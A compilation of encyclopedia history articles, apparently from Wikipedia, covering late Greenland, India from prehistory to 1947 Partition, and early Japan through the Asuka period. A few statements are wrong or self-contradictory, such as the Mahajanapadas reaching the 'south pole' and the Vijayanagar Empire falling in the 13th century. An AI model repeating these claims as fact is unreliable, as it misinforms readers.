          International relations, a field earlier handled by Denmark, are now left largely, but not entirely, to the discretion of the home rule government. After leaving the EU, Greenland has signed a special treaty with the Union, as well as entering several smaller organizations, not least with Iceland and the Faroe Islands, and with the Inuit populations of Canada and Russia. It was also one of the founders of the environmental Arctic Council cooperation in 1996. Renegotiation of the 1951 treaty between Denmark and the United States, with a direct participation of self-governing Greenland, is an issue, and the 19992003 Commission on Self-Governance suggested that Greenland should then aim at the Thule Air Base eventually becoming an international surveillance and satellite tracking station, subject to the United Nations.


          Modern technology has made Greenland more accessible, not least due to the breakthrough of aviation. However, the capital Nuuk still lacks an international airport (see transportation in Greenland). Television broadcasts began in 1982.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/History_of_Greenland"
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          The history of India begins with the Indus Valley Civilization, which flourished in the north-western part of the Indian subcontinent from 3300 to 1700 BCE. This Bronze Age civilization was followed by the Iron Age Vedic period, which witnessed the rise of major kingdoms known as the Mahajanapadas. In two of these, in the 6th century BCE, Mahavira and Gautama Buddha were born.


          The subcontinent was united under the Maurya Empire during the 4th and 3rd centuries BCE. It subsequently became fragmented, with various parts ruled by numerous Middle kingdoms for the next ten centuries. Its northern regions were united once again in the 4th century CE, and remained so for two centuries thereafter, under the Gupta Empire. This period was known as the " Golden Age of India." During the same time, and for several centuries afterwards, India, under the rule of the Chalukyas, Cholas, Pallavas and Pandyas, experienced its own golden age, during which Hinduism and Buddhism spread to much of south-east Asia.


          Islam arrived on the subcontinent early in the 8th century CE with the conquest of Baluchistan and Sindh by Muhammad bin Qasim. Islamic invasions from Central Asia between the 10th and 15th centuries CE brought most of northern India under the rule at first of the Delhi Sultanate and later of the Mughals. Mughal rule, which ushered in a remarkable flowering of art and architecture, came to cover most of the northern parts of the subcontinent. Nevertheless, several independent kingdoms, such as the Maratha Empire and the Vijayanagara Empire, flourished contemporaneously, in Western and Southern India respectively. Beginning in the mid-18th century and over the next century, India was gradually annexed by the British East India Company. Dissatisfaction with Company rule led to the First War of Indian Independence, after which India was directly administered by the British Crown and witnessed a period of both rapid development of infrastructure and economic decline.


          During the first half of the 20th century, a nationwide struggle for independence was launched by the Indian National Congress, and later joined by the Muslim League. The subcontinent gained independence from Great Britain in 1947, after being partitioned into the dominions of India and Pakistan. Pakistan's eastern wing became the nation of Bangladesh in 1971.


          


          Pre-Historic era
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          Isolated remains of Homo erectus in Hathnora in the Narmada Valley in Central India indicate that India might have been inhabited since at least the Middle Pleistocene era, somewhere between 200,000 to 500,000 years ago. The Mesolithic period in the Indian subcontinent covered a timespan of around 25,000 years, starting around 30,000 years ago. Modern humans seem to have settled the subcontinent towards the end of the last Ice Age, or approximately 12,000 years ago. The first confirmed permanent settlements appeared 9,000 years ago in the Rock Shelters of Bhimbetka in modern Madhya Pradesh. Early Neolithic culture in South Asia is represented by the Mehrgarh findings ( 7000 BCE onwards) in present day Balochistan, Pakistan. Traces of a Neolithic culture have been found submerged in the Gulf of Khambat, radiocarbon dated to 7500 BCE. Late Neolithic cultures sprang up in the Indus Valley region between 6000 and 2000 BCE and in southern India between 2800 and 1200 BCE.


          


          The Bronze Age
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          The Bronze Age on the Indian subcontinent began around 3300 BCE with the beginning of the Indus Valley Civilization. Inhabitants of the ancient Indus river valley, the Harappans, developed new techniques in metallurgy and produced copper, bronze, lead and tin.


          


          Indus Valley Civilization


          The Indus Valley Civilization which flourished from about 2600 BCE to 1900 BCE, and included urban centers such as Harappa and Mohenjo-daro (in Pakistan) and Dholavira , marked the beginning of the urban civilization on the subcontinent. It was centred on the Indus River and its tributaries, and extended into the Ghaggar-Hakra River valley, the Ganges-Yamuna Doab, Gujarat, and northern Afghanistan.


          The civilization is noted for its cities built of brick, road-side drainage system and multi-storied houses. Among the settlements were the major urban centres of Harappa and Mohenjo-daro, as well as Dholavira, Ganweriwala, Lothal, Kalibanga and Rakhigarhi. It is thought by some that geological disturbances and climate change, leading to a gradual deforestation may ultimately have contributed to the civilization's downfall. The decline of the Indus Valley Civilization also included a break down of urban society in India and of the use of distinctively urban traits such as the use of writing and seals.


          


          Vedic age


          The Vedic culture is the Indo-Aryan culture associated with the Vedas, which are some of the oldest extant texts, orally composed in Vedic Sanskrit. It lasted from about 1500 BCE to 500 BCE; though this is disputed by some Indian historians who posit the earlier date of 3000 BCE.. Properly speaking, the first 500 years (1500 - 1000 BCE) of the Vedic Age correspond to Bronze Age India and the next 500 years (1000 - 500 BCE) to Iron Age India. Many scholars today postulate an Indo-Aryan migration into India, proposing that early Indo-Aryan speaking tribes migrated into the north-west regions of the Indian subcontinent in the early 2nd millennium BCE. Many scholars postulate these Indo-Aryan tribes as originating in Iran, Kurdistan or Anatolia from where they migrated east into India, and west into Europe, overunning the native northern Europeans and finally assimilating with them whilst spreading their language and culture.. This has been countered by the proponents of Out of India theory, who claim Aryans were indigenous to Indian subcontinent.


          Early Vedic society consisted of largely pastoral groups with late Harappan urbanization being abandoned for unknown reasons. After the Rigveda, Aryan society became increasingly agricultural, and was socially organized around the four Varnas. In addition to the principal texts of Hinduism (the Vedas), the epics (the Ramayana and Mahabharata) are said to have their ultimate origins during this period. Early Indo-Aryan presence probably corresponds, in part, to the presence of Ochre Coloured Pottery in archaeological findings. The kingdom of the Kurus corresponds to the Black and Red Ware culture and the beginning of the Iron Age in Northwestern India, around 1000 BC (roughly contemporaneous with the composition of the Atharvaveda, the first Indian text to mention Iron, as śyāma ayas, literally "black metal"). Painted Grey Ware cultures spanning much of Northern India were prevalent from about 1100 to 600 BCE. This later period also corresponds with a change in outlook towards the prevalent tribal system of living leading to establishment of kingdoms called Mahajanapadas.


          


          Establishment of Mahajanapadas
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          In the later Vedic Age, a number of small kingdoms or city states had covered the subcontinent, many mentioned during Vedic literature as far back as 1000 BCE. By 600 BCE, sixteen monarchies and 'republics' known as the Mahajanapadas  Kasi, Kosala, Anga, Magadha, Vajji (or Vriji), Malla, Chedi, Vatsa (or Vamsa), Kuru, Panchala, Machcha (or Matsya), Surasena, Assaka, Avanti, Gandhara, Kamboja  stretched across the Indo-Gangetic plains from modern-day Afghanistan to south pole. This was the second major urbanisation in India after the Indus Valley Civilization. Many smaller clans mentioned within early literature seem to have been present across the rest of the subcontinent. Some of these kings were hereditary, other city states elected their rulers. The educated speech at that time was Sanskrit, while the dialects of the general population of northern India were referred to as Prakrits. These sixteen kingdoms had reduced to four by 500 BCE, that is by the time of Siddhartha Gautama, probably due to infighting. These four were Vatsa, Avanti, Kosala and Magadha.


          Hindu rituals at that time were complicated and conducted by the priestly class. It is thought that the Upanishads, late Vedic texts dealing mainly with incipient philosophy, were composed in the later Vedic Age and early in this period of the Mahajanapadas (from about 800 - 500 BCE). Upanishads had a huge effect on Indian philosophy, and were contemporary to the development of Buddhism and Jainism, indicating a golden age of thought in this period. It was in 537 BCE, that Siddhartha Gautama attained the state of awakenedness - "enlightenment", and became known as the 'Buddha' - the awakened one. Around the same time period, in 510 BCE, Mahavira founded Jainism. The Buddha's teachings and Jainism had simple doctrines, and were preached in Prakrit, which helped them gain acceptance amongst the masses. While the geographic impact of Jainism was limited, Buddhist nuns and monks eventually spread the teachings of Buddha to Central Asia, East Asia, Tibet, Sri Lanka and South East Asia.


          


          Persian & Greek invasion
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          Much of the northwestern Indian Subcontinent (present day Eastern Afghanistan and Pakistan) came under the rule of the Persian Achaemenid Empire in c. 520 BCE during the reign of Darius the Great, and remained so for two centuries thereafter. In 334 BCE, Alexander the Great conquered Asia Minor and the Achaemenid Empire, reaching the north-west frontiers of the Indian subcontinent. There, he defeated King Puru in the Battle of the Hydaspes (near modern-day Jhelum, Pakistan) and conquered much of the Punjab; however, Alexander's troops refused to go beyond the Hyphases ( Beas) River near modern day Jalandhar, Punjab. Alexander left many Macedonian veterans in the conquered regions; he himself turned back and marched his army southwest.


          The Persian and Greek invasions had important repercussions on Indian civilization. The political systems of the Persians was to influence future forms of governance on the subcontinent, including the administration of the Mauryan dynasty. In addition, the region of Gandhara, or present-day eastern Afghanistan and north-west Pakistan, became a melting pot of Indian, Persian, Central Asian and Greek cultures and gave rise to a hybrid culture, Greco-Buddhism, which lasted until the 5th century AD and influenced the artistic development of Mahayana Buddhism.


          


          The Magadha Empire


          Amongst the sixteen Mahajanapadas, the kingdom of Magadha rose to prominence under a number of dynasties. According to tradition, the Haryanka dynasty founded the Magadha Empire in 684 BC whose capital was Rajagriha, later Pataliputra, near the present day Patna. This dynasty was succeeded by the Shishunaga dynasty which, in turn, was overthrown by the Nanda dynasty in 424 BCE. The Nandas were followed by the Maurya dynasty.


          


          Maurya dynasty
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          In 321 BCE, exiled general Chandragupta Maurya, under direct patronage of the genius of Chanakya, founded the Maurya dynasty after overthrowing the reigning king Dhana Nanda. Most of the subcontinent was united under a single government for the first time under the Maurya rule. Mauryan empire under Chandragupta would not only conquer most of the Indian subcontinent, but also push its boundaries into Persia and Central Asia, conquering the Gandhara region. Chandragupta Maurya is credited for the spread of Jainism in southern Indian region.


          Chandragupta was succeeded by his son Bindusara, who expanded the kingdom over most of present day India, barring Kalinga, and the extreme south and east, which may have held tributary status. Bindusara's kingdom was inherited by his son Ashoka the Great who initially sought to expand his kingdom. In the aftermath of the carnage caused in the invasion of Kalinga, he renounced bloodshed and pursued a policy of non-violence or ahimsa after converting to Buddhism. The Edicts of Ashoka are the oldest preserved historical documents of India, and from Ashoka's time, approximate dating of dynasties becomes possible. The Mauryan dynasty under Ashoka was responsible for the proliferation of Buddhist ideals across the whole of East Asia and South-East Asia, fundamentally altering the history and development of Asia as a whole. Ashoka's grandson Samprati adopted Jainism and helped spread Jainism.


          


          Post Mauryan Magadha dynasties


          The Sunga Dynasty was established in 185 BCE, about fifty years after Ashoka's death, when the king Brihadratha, the last of the Mauryan rulers, was murdered by the then commander-in-chief of the Mauryan armed forces, Pusyamitra Sunga. The Kanva dynasty replaced the Sunga dynasty, and ruled in the eastern part of India from 71 BCE to 26 BCE. In 30 BCE, the southern power swept away both the Kanvas and Sungas. Following the collapse of the Kanva dynasty, the Satavahana dynasty of the Andhra kingdom replaced the Magadha kingdom as the most powerful Indian state.


          


          Early middle kingdoms  the golden age
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          The middle period was a time of notable cultural development. The Satavahanas, also known as the Andhras, were a dynasty which ruled in Southern and Central India starting from around 230 BCE. Satakarni, the sixth ruler of the Satvahana dynasty, defeated the Sunga dynasty of North India. Gautamiputra Satakarni was another notable ruler of the dynasty. Kuninda Kingdom was a small Himalayan state that survived from around the 2nd century BC to roughly the 3rd century CE. The Kushanas invaded north-western India about the middle of the 1st century CE, from Central Asia, and founded an empire that eventually stretched from Peshawar to the middle Ganges and, perhaps, as far as the Bay of Bengal. It also included ancient Bactria (in the north of modern Afghanistan) and southern Tajikistan. The Western Satraps (35-405 CE) were Saka rulers of the western and central part of India. They were the successors of the Indo-Scythians (see below) and contemporaneous with the Kushans who ruled the northern part of the Indian subcontinent, and the Satavahana (Andhra) who ruled in Central India.


          Different empires such as the Pandyan Kingdom, Early Cholas, Chera dynasty, Kadamba Dynasty, Western Ganga Dynasty, Pallavas and Chalukya dynasty dominated the southern part of the Indian peninsula, at different periods of time. Several southern kingdoms formed overseas empires that stretched across South East Asia. The kingdoms warred with each other and Deccan states, for domination of the south. Kalabhras, a Buddhist kingdom, briefly interrupted the usual domination of the Cholas, Cheras and Pandyas in the South.


          


          Northwestern hybrid cultures
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          The north-western hybrid cultures of the subcontinent included the Indo-Greeks, the Indo-Scythians, the Indo-Parthians, and the Indo-Sassinids. The first of these, the Indo-Greek Kingdom, founded when the Greco-Bactrian king Demetrius invaded the region in 180 BCE, extended over various parts of present-day Afghanistan and Pakistan. Lasting for almost two centuries, it was ruled by a succession of more than 30 Greek kings, who were often in conflict with each other. The Indo-Scythians were a branch of the Indo-European Sakas ( Scythians), who migrated from southern Siberia first into Bactria, subsequently into Sogdiana, Kashmir, Arachosia, Gandhara and finally into India; their kingdom lasted from the middle of the 2nd century BCE to the 1st century BCE. Yet another kingdom, the Indo-Parthians (also known as Pahlavas) came to control most of present-day Afghanistan and northern Pakistan, after fighting many local rulers such as the Kushan ruler Kujula Kadphises, in the Gandhara region. The Sassanid empire of Persia, who were contemporaries of the Guptas, expanded into the region of present-day Pakistan, where the mingling of Indian and Persian cultures gave birth to the Indo-Sassanid culture.


          


          Roman trade with India
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          Roman trade with India started around 1 CE following the reign of Augustus and his conquest of Egypt, theretofore India's biggest trade partner in the West.


          The trade started by Eudoxus of Cyzicus in 130 BCE kept increasing, and according to Strabo (II.5.12.), by the time of Augustus up to 120 ships were setting sail every year from Myos Hormos to India. So much gold was used for this trade, and apparently recycled by the Kushans for their own coinage, that Pliny (NH VI.101) complained about the drain of specie to India:


          
            
              "India, China and the Arabian peninsula take one hundred million sesterces from our empire per annum at a conservative estimate: that is what our luxuries and women cost us. For what percentage of these imports is intended for sacrifices to the gods or the spirits of the dead?"

            


            
              Pliny, Historia Naturae 12.41.84.
            

          


          These trade routes and harbour are described in detail in the 1st century AD Periplus of the Erythraean Sea.


          


          Gupta dynasty
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          In the 4th and 5th centuries, the Gupta Dynasty unified northern India. During this period, known as India's Golden Age of Hindu renaissance, Hindu culture, science and political administration reached new heights. Chandragupta I, Samudragupta, and Chandragupta II were the most notable rulers of the Gupta dynasty. The Vedic Puranas are also thought to have been written around this period. The empire came to an end with the attack of the Huns from central Asia. After the collapse of the Gupta Empire in the 6th century, India was again ruled by numerous regional kingdoms. A minor line of the Gupta clan continued to rule Magadha after the disintegration of the empire. These Guptas were ultimately ousted by the Vardhana king Harsha, who established an empire in the first half of the seventh century.


          The White Huns, who seem to have been part of the Hephthalite group, established themselves in Afghanistan by the first half of the fifth century, with their capital at Bamiyan. They were responsible for the downfall of the Gupta dynasty, and thus brought an end to what historians consider a golden age in northern India. Nevertheless, much of the Deccan and southern India were largely unaffected by this state of flux in the north.


          


          Late middle kingdoms  the classical age
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          The classical age in India began with the resurgence of the north during Harsha's conquests around the 7th century, and ended with the fall of the Vijayanagar Empire in the South, due to pressure from the invaders to the north in the 13th century. This period produced some of India's finest art, considered the epitome of classical development, and the development of the main spiritual and philosophical systems which continued to be in Hinduism, Buddhism and Jainism.


          King Harsha of Kannauj succeeded in reuniting northern India during his reign in the 7th century, after the collapse of the Gupta dynasty. His kingdom collapsed after his death. From the 7th to the 9th century, three dynasties contested for control of northern India: the Pratiharas of Malwa and later Kannauj; the Palas of Bengal, and the Rashtrakutas of the Deccan. The Sena dynasty would later assume control of the Pala kingdom, and the Pratiharas fragmented into various states. These were the first of the Rajputs, a series of kingdoms which managed to survive in some form for almost a millennium until Indian independence from the British. The first recorded Rajput kingdoms emerged in Rajasthan in the 6th century, and small Rajput dynasties later ruled much of northern India. One Rajput of the Chauhan dynasty, Prithviraj Chauhan, was known for bloody conflicts against the encroaching Islamic Sultanates. The Shahi dynasty ruled portions of eastern Afghanistan, northern Pakistan, and Kashmir from the mid-seventh century to the early eleventh century. Whilst the northern concept of a pan-Indian empire had collapsed at the end of Harsha's empire, the ideal instead shifted to the south.


          The Chalukya Empire ruled parts of southern and central India from 550 to 750 from Badami, Karnataka and again from 970 to 1190 from Kalyani, Karnataka. The Pallavas of Kanchi were their contemporaries further to the south. With the decline of the Chalukya empire, their feudatories, Hoysalas of Halebidu, Kakatiya of Warangal, Seuna Yadavas of Devagiri and a southern branch of the Kalachuri divided the vast Chalukya empire amongst themselves around the middle of 12th century. Later during the middle period, the Chola kingdom emerged in northern Tamil Nadu, and the Chera kingdom in Kerala. By 1343 A.D., all these kingdoms had ceased to exist giving rise to the Vijayanagar empire. Southern Indian kingdoms of the time expanded their influence as far as Indonesia, controlling vast overseas empires in Southeast Asia. The ports of southern India were involved in the Indian Ocean trade, chiefly involving spices, with the Roman Empire to the west and Southeast Asia to the east. Literature in local vernaculars and spectacular architecture flourished till about the beginning of the 14th century when southern expeditions of the sultan of Delhi took their toll on these kingdoms. The Hindu Vijayanagar dynasty[Karnata Rajya] came into conflict with Islamic rule (the Bahmani Kingdom) and the clashing of the two systems, caused a mingling of the indigenous and foreign culture that left lasting cultural influences on each other. The Vijaynagar Empire eventually declined due to pressure from the first Delhi Sultanates who had managed to establish themselves in the north, centered around the city of Delhi by that time.


          


          The Islamic sultanates
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          After the Arab-Turkic invasion of India's ancient western neighbour Persia, expanding forces in that area were keen to invade India, which was the richest classical civilization, with a flourishing international trade and the only known diamond mines in the world. After resistance for a few centuries by various north Indian kingdoms, short lived Islamic empires (Sultanates) got established and spread across the northern subcontinent over a period of a few centuries. But, prior to Turkic invasions, Muslim trading communities had flourished throughout coastal South India, particularly in Kerala, where they arrived in small numbers, mainly from the Arabian peninsula, through trade links via the Indian Ocean. However, this had marked the introduction of an Abrahamic Middle Eastern religion in Southern India's pre-existing dharmic Hindu culture, often in puritanical form. Later, the Bahmani Sultanate and Deccan sultanates flourished in the south.


          


          Delhi sultanate


          In the 12th and 13th centuries, Arabs, Turks and Afghans invaded parts of northern India and established the Delhi Sultanate at the beginning of the 13th century, from former Rajput holdings. The subsequent Slave dynasty of Delhi managed to conquer large areas of northern India, approximate to the ancient extent of the Guptas, while the Khilji Empire was also able to conquer most of central India, but were ultimately unsuccessful in conquering most of the subcontinent. The Sultanate ushered in a period of Indian cultural renaissance. The resulting "Indo-Muslim" fusion of cultures left lasting syncretic monuments in architecture, music, literature, and religion. It is surmised that the language of Urdu (literally meaning "horde" or "camp" in various Turkic dialects) was born during the Delhi Sultanate period as a result of the inter-mingling of the local speakers of Sanskritic prakrits with the Persian, Turkish and Arabic speaking immigrants under the Muslim rulers. The Delhi Sultanate is the only Indo-Islamic empire to stake a claim to enthroning one of the few female rulers in India, Razia Sultan (1236-1240).


          Informed about civil war in India, a Turco-Mongol conqueror Timur began a trek starting in 1398 to invade the reigning Sultan Nasir-u Din Mehmud of the Tughlaq Dynasty in the north Indian city of Delhi. The Sultan's army was defeated on December 17, 1398. Timur entered Delhi and the city was sacked, destroyed, and left in ruins.


          


          The Mughal era
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          In 1526, Babur, a Timurid ( Turco-Persian) descendant of Timur and Genghis Khan, swept across the Khyber Pass and established the Mughal Empire, which lasted for over 200 years. The Mughal Dynasty ruled most of the Indian subcontinent by 1600; it went into a slow decline after 1707 and was finally defeated during the 1857 war of independence also called the Indian rebellion of 1857. This period marked vast social change in the subcontinent as the Hindu majority were ruled over by the Mughal emperors, some of whom showed religious tolerance, liberally patronising Hindu culture, and some of whom destroyed historical temples and imposed taxes on non-Muslims. During the decline of the Mughal Empire, which at its peak occupied an area slightly larger than the ancient Maurya Empire, several smaller empires rose to fill the power vacuum or themselves were contributing factors to the decline. The Mughals were perhaps the richest single dynasty to have ever existed. In 1739, Nader Shah defeated the Mughal army at the huge Battle of Karnal. After this victory, Nader captured and sacked Delhi, carrying away many treasures, including the Peacock Throne.


          During the Mughal era, the dominant political forces consisted of the Mughal Empire, its tributaries, and later on the rise of its successor states, including the Maratha confederacy, who fought an increasingly weak and disfavoured Mughal dynasty.The Mughals, while often employing brutal tactics to subjugate their empire, had a policy of integration with Indian culture, which is what made them successful where the short-lived Sultanates of Delhi had failed. Akbar the Great was particularly famed for this. Akbar declared "Amari" or non-killing of animals in the holy days of Jainism. He rolled back the Jazia Tax for non-Muslims. The Mughal Emperors married local royalty, allied themselves with local Maharajas, and attempted to fuse their Turko-Persian culture with ancient Indian styles, creating unique Indo-Saracenic architecture. It was the erosion of this tradition coupled with increased brutality and centralisation that played a large part in their downfall after Aurangzeb, who unlike previous emperors, imposed relatively non-pluralistic policies on the general population, that often inflamed the majority Hindu population.


          


          Post-Mughal regional kingdoms
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          The post-Mughal era was dominated by the rise of the Maratha suzerianity as other small regional states (mostly post-Mughal tributary states) emerged, and also by the increasing activities of European powers (see colonial era below). The Maratha Kingdom was founded and consolidated by Shivaji. By the 18th century, it had transformed itself into the Maratha Empire under the rule of the Peshwas. By 1760, the Empire had stretched across practically the entire subcontinent. This expansion was brought to an end by the defeat of the Marathas by an Afghan army led by Ahmad Shah Abdali at the Third Battle of Panipat (1761). The last Peshwa, Baji Rao II, was defeated by the British in the Third Anglo-Maratha War.


          Mysore was a kingdom of southern India, which was founded around 1400 AD by the Wodeyar dynasty. The rule of the Wodeyars was interrupted by Hyder Ali and his son Tippu Sultan. Under their rule Mysore fought a series of wars sometimes against the combined forces of the British and Marathas, but mostly against the British with some aid or promise of aid from the French. Hyderabad was founded by the Qutb Shahi dynasty of Golconda in 1591. Following a brief Mughal rule, Asif Jah, a Mughal official, seized control of Hyderabad declaring himself Nizam-al-Mulk of Hyderabad in 1724. It was ruled by a hereditary Nizam from 1724 until 1948. Both Mysore and Hyderabad became princely states in British India.


          The Punjabi kingdom, ruled by members of the Sikh religion, was a political entity that governed the region of modern day Punjab. This was among the last areas of the subcontinent to be conquered by the British. The Anglo-Sikh wars marked the downfall of the Sikh Empire. Around the 18th century modern Nepal was formed by Gorkha rulers, and the Shahs and the Ranas very strictly maintained their national identity and integrity.


          


          Colonial era


          Vasco da Gama's discovery of a new sea route to India in 1498 paved the way for European commerce with India. The Portuguese soon set up trading-posts in Goa, Daman, Diu and Bombay. The next to arrive were the Dutch, the Britishwho set up a trading-post in the west-coast port of Surat in 1619and the French. Although the continental European powers were to control various regions of southern and western India during the ensuing century, they would eventually lose all their Indian dominions to the British, with the exception of the French outposts of Pondicherry and Chandernagore, the Dutch port of Travancore, and the Portuguese colonies of Goa, Daman, and Diu.


          


          The British Raj
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          The British East India Company had been given permission by the Mughal emperor Jahangir in 1617 to trade in India. Gradually their increasing influence led the de-jure Mughal emperor Farrukh Siyar to grant them dastaks or permits for duty free trade in Bengal in 1717. The Nawab of Bengal Siraj Ud Daulah, the de facto ruler of the Bengal province, opposed British attempts to use these permits. This led to the Battle of Plassey in 1757, in which the East India Company army, led by Robert Clive, defeated the Nawab. This was the first political foothold that the British acquired in India. Clive became the first Governor of Bengal in 1757. After the Battle of Buxar in 1764, the Company acquired the civil rights of administration in Bengal from the Mughal Emperor Shah Alam II, beginning its formal rule in India. The East India Company monopolized the trade of Bengal. They introduced a land taxation system called the Permanent Settlement which introduced a feudal like structure (See Zamindar) in Bengal. By the 1850s, the East India Company controlled most of the Indian sub-continent, which included present-day Pakistan and Bangladesh. Their policy was sometimes summed up as Divide and Rule, taking advantage of the enmity fostering between various princely states and social and religious groups.


          The first major movement against British rule resulted in the Indian Rebellion of 1857, also known as the "Indian Mutiny" or "Sepoy Mutiny" or the "First War of Independence". After a year of turmoil, and reinforcement of the East India Company's troops with British soldiers, the British emerged victorious. In the aftermath all power was transferred from the East India Company to the British Crown, which began to administer most of India directly. It controlled the rest through local rulers. The last Mughal emperor, Bahadur Shah Zafar, was exiled to Burma and his line abolished.


          


          The Indian Independence movement


          


          The first step toward Indian independence and western-style democracy was taken with the appointment of Indian councillors to advise the British viceroy, and with the establishment of provincial Councils with Indian members the councillors' participation was subsequently widened in legislative councils. From 1920 leaders such as Mohandas Gandhi began mass movements to campaign against the British Raj. Revolutionary activities against the British rule also took place throughout the Indian sub-continent, these movements succeeded in bringing Independence to the Indian sub-continent in 1947.


          


          Independence and Partition
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          Along with the desire for independence, tensions between Hindus and Muslims had also been developing over the years. The Muslims had always been a minority, and the prospect of an exclusively Hindu government made them wary of independence; they were as inclined to mistrust Hindu rule as they were to resist the Raj. In 1915, Mohandas Karamchand Gandhi came onto the scene, calling for unity between the two groups in an astonishing display of leadership that would eventually lead the country to independence. The profound impact Gandhi had on India and his ability to gain independence through a totally non-violent mass movement made him one of the most remarkable leaders the world has ever known. He led by example, wearing homespun clothes to weaken the British textile industry and orchestrating a march to the sea, where demonstrators proceeded to make their own salt in protest against the British monopoly. Indians gave him the name Mahatma, or Great Soul. The British promised that they would leave India by 1947.


          India gained independence in 1947, after being partitioned into the Republic of India and Pakistan. Following the division, rioting broke out between Sikhs, Hindus and Muslims in several parts of India, including Punjab, Bengal and Delhi, leaving some 500,000 dead. Also, this period saw one of the largest mass migrations ever recorded in modern history, with a total of 12 million Hindus, Sikhs and Muslims moving between the newly created nations of India and Pakistan.
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          The written history of Japan begins with brief references in the 1st century AD Twenty-Four Histories, a collection of Chinese historical texts. However, archaeological evidence indicates that people were living on the islands of Japan as early as the upper paleolithic period. Following the last ice-age, around 12,000 BC, the rich ecosystem of the Japanese Archipelago fostered human development. The earliest-known pottery belongs to the Jōmon period.


          


          Japanese pre-history


          


          Paleolithic
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          The Japanese Paleolithic (旧石器時代, kyū-sekki-jidai) covers a period starting from around 100,000 to 30,000 BC, when the earliest stone tool implements have been found, and ending around 12,000 BC, at the end of the last Ice-age, corresponding with the beginning of the Mesolithic Jōmon period. A start date of around 35,000 BC date is most generally accepted. The Japanese archipelago was disconnected from the continent after the last ice age, around 11,000 BC. After a hoax by an amateur researcher, Shinichi Fujimura, had been exposed, the Lower and Middle Paleolithic evidence reported by Fujimura and his associates has been rejected after thorough reinvestigation. Only some Upper Paleolithic evidence not associated with Fujimura can be considered well established.


          


          Jōmon Period
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          The Jōmon period (縄文時代, Jōmon-jidai ?) lasted from about 14,000 BC to 300 BC. The first signs of civilization and stable living patterns appeared around 14,000 BC with the Jōmon culture, characterized by a mesolithic to neolithic semi-sedentary hunter-gatherer lifestyle of wood stilt house and pit dwelling and a rudimentary form of agriculture. Weaving was still unknown and clothes were often made of fur. The Jōmon people started to make clay vessels, decorated with patterns made by impressing the wet clay with braided or unbraided cord and sticks (Jōmon means "patterns of plaited cord"). Some of the oldest surviving examples of pottery in the world may be found in Japan, based on radio-carbon dating, along with daggers, jade, combs made of shells, and other household items dated to the 11th millennium BC, although the specific dating is disputed. Clay figures ( dogu) were also excavated. The household items suggest trade routes existed with places as far away as Okinawa. DNA analysis suggests that the Ainu, an indigenous people that lived in Hokkaidō and the northern part of Honshū are descended from the Jōmon and thus represent descendants of the first inhabitants of Japan.


          


          Yayoi Period
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          The Yayoi period (弥生時代, Yayoi jidai ?) lasted from about 400 or 300 BC to 250 AD. It is named after Yayoi town, the subsection of Bunkyō, Tokyo where archaeological investigations uncovered its first recognized traces.


          The start of the Yayoi period marked the influx of new practices such as weaving, rice farming, shamanism and iron and bronze-making brought from Korea or China. For example, some paleoethnobotany researches show that wet-rice cultivation began about 8000 BC in the Yangtze River Delta and spread to Japan about 1000 BC.


          Japan first appeared in written records in AD 57 with the following mention in China's Book of Later Han: Across the ocean from Luoyang are the people of Wa. Formed from more than one hundred tribes, they come and pay tribute frequently. The Book of Wei written in the 3rd century noted the country was the unification of some 30 small tribes or states and ruled by a shaman queen named Himiko of Yamataikoku.


          During the Han Dynasty and Wei Dynasty, Chinese travelers to Kyūshū recorded its inhabitants and claimed that they were the descendants of the Grand Count (Tib) of the Wu. The inhabitants also show traits of the pre-sinicized Wu people with tattooing, teeth-pulling and baby-carrying. The Book of Wei records the physical descriptions which are similar to ones on Haniwa statues, such men with braided hair, tattooing and women wearing large, single-piece clothing.


          The Yoshinogari site is the most famous archaeological site in the Yayoi period and reveals a large, continuously inhabited settlement in Kyūshū for several hundreds of years. Excavation has shown the most ancient parts to be around 400 BC. Among the artifacts are iron and bronze objects, including those from China. It appears the inhabitants had frequent communication with the mainland and trade relations. Today some reconstructed buildings stand in the park on the archaeological site.


          


          Ancient and Classical Japan


          The Yamato polity was the main ruling power in Japan from the middle of the 3rd century until 710. The Kofun period (mid 3rd century  mid 6th century), is defined by a period in which many keyhole-shaped tumuli were constructed. At the beginning of the Asuka period (mid 6th century  710), the capital was moved in Asuka, southernmost part of Nara Basin. The main difference between the Yayoi period and the Kofun-Asuka periods is the development from a sedentary and agricultural culture to a more advanced and militaristic culture from China via the Korean peninsula. This was replaced by Tang Dynasty Chinese influences during the Nara period which introduced centralized imperial government, aesthetics and religion instead of military advances during the Kofun-Asuka eras.


          


          Kofun Period
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          The Kofun period (古墳時代, Kofun period ?), beginning around AD 250, is named after the large burial mounds ( kofun) that appeared at the time. The Kofun period saw the establishment of strong military states centered around powerful clans, and the establishment of the dominant Yamato polity centered in the Yamato and Kawachi provinces, from the 3rd century to the 7th century, origin of the Japanese imperial lineage. The polity, suppressing the clans and acquiring agricultural lands, maintained a strong influence in the western part of Japan. Japan started to send tributes to Imperial China in the 5th century. In the Chinese history records, the polity was called Wa and its five kings were recorded. Based upon the Chinese model, they developed a central administration and an imperial court system and its society was organized into occupation groups.


          Most scholars believe that there were massive transmissions of technology and culture from China and Korea via Korea to Japan which is evidenced by material artifacts in tombs of both states in the Proto-Three Kingdoms of Korea and Kofun eras, and the later wave of Baekje immigrants to Yamato.


          Close relationships between the Three Kingdoms of Korea and Japan began during the middle of this period, around the end of the 4th century. According to a controversial part on the Gwanggaeto Stele, Japan actively participated with large armies on the Korean Peninsula during the late 4th and early 5th centuries. According to the Book of Song, of the Liu Song Dynasty, the Liu-Song emperor formally awarded the king of Yamato, which he considered to be his vassal, the title of military sovereignty over Silla and the Gaya confederacy. The Samguk Sagi (Chronicles of the Three Kingdoms) recorded Baekje and Silla sent their princes as hostages to the Wa to ensure military support; King Asin of Baekje sent his son Jeonji in 397 and King Silseong of Silla sent his son in 402.


          


          Asuka period
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          The Asuka period (飛鳥時代, Asuka period ?) is when the proto-Japanese Yamato polity gradually became a clearly centralized state, defining and applying a code of governing laws, such as the Taika Reform and Taihō Codes. The introduction of Buddhism led to the discontinuing of the practice of large kofun.


          Buddhism was introduced to Japan in 538 by Baekje, to which Japan provided military support, and it was promoted by the ruling class. Prince Shotoku devoted his efforts to the spread of Buddhism and Chinese culture in Japan. He is credited with bringing relative peace to Japan through the proclamation of the Jūshichijō kenpō (十七条憲法), often referred to in Japan as the Seventeen-article constitution, a Confucian style document that focused on the kinds of morals and virtues that were to be expected of government officials and the emperor's subjects.


